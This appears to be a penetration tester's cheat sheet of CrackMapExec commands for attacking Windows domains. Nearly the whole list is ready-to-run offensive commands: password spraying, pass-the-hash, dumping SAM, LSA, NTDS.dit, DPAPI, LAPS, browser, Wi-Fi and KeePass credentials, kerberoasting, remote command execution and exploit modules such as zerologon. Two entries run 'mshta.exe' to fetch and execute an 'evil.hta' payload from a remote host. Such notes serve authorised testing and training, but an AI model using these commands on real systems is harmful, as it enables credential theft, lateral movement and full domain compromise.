- Execute HTA:
	- `cme smb IP_ADDRESS -u USERNAME -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
	- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
	- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
	- `cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol`
- Dump SAM
	- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
	- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --lsa`
- Check cme protocols
	- `cme`
- Check cme protocol modules
	- `cme PROTOCOL -L`
- Check cme protocol module options
	- `cme PROTOCOL -M MODULE --options`
- Use cme module options
	- `cme PROTOCOL -M MODULE -o OPTION`
- Log stuff (6.x+)
	- `cme smb IP_ADDRESS -u 'a' -p '' --log logfile.log`
- add port (most protocols)
	- `cme smb IP_ADDRESS -u 'a' -p '' --port 666`
- Check Null/Anon Sessions
	- `cme smb IP_ADDRESS -u '' -p ''`
	- `cme smb IP_ADDRESS -u 'a' -p ''`
- Conduct password sprays
	- `cme smb DC-IP_ADDRESS -u USERS_LIST.txt -p '<some password>' --local-auth`
	- `cme smb DC-IP_ADDRESS -d DOMAIN -u USERS_LIST.txt -p '<some password>'`
- Execute HTA:
	- `cme smb IP_ADDRESS -d DOMAIN -u UserName -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
	- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
	- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --pass-pol`
- Get users and descriptions
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --users`
- Get gropups
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --groups`
- Get shares
	- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --shares`
- Dump SAM
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --lsa`
- Dump DPAPI
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --dpapi`
- Pass the hash (can do both NTLM and NT hash)
	- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
	- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
- Pass the hash (local) (can do both NTLM and NT hash)
	- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
	- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
- Dump Wifi Passwords
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wireless`
- Dump firefox creds
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M firefox`
- Dump veeam creds
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M veeam`
- Search/Dump KeePass
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_discover`
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"`
- Defeating LAPS
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --laps`
- Find ASREPROASTable users
	- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName-List.txt -p '' --asreproast output.txt`
- Find Kerberoastable users
	- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --kerberoast output.txt`
- Dump gMSA password
	- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --gmsa`
- MS teams cookies (this crashes teams on host)
	- `cme ldap IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M teams_localdb`
- Dump NTDS.dit
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds`
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users`
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users --enabled`
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds vss`
- Spider shares for pattern
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --spider 'share' --pattern 'txt'`
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M spider_plus`
- Get relay hosts (SMB Signing Not Required)
	- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --gen-relay-list relaylist.txt`
- Get impersonation tokens
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M impersonate`
- Check for nopac
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M nopac`
- Check for printnightmare
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M printnightmare`
- Check for petitpotam
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M petitpotam`
- Check for shadowcoerce
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M shadowcoerce`
- Check for zerologon (shit's broken half the time, module not found)
	- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M zerologon`
- Enumerate basic security configs in windows
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wcc`
- Bloodhound ingestor
	- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --bloodhound --collection All`
- Run command (x - cmd // X - ps)
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -x 'whoami'`
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -X 'whoami'`	
- Change command exec method (WMI/SMB/ATEXEC)
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --exec-method wmiexec`
- Authenticate locally
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --local-auth`	
- Download file
	- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --get-file "file downloaded" "output file"`
- Screenshot VNC session
	- `cme vnc IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --screenshot`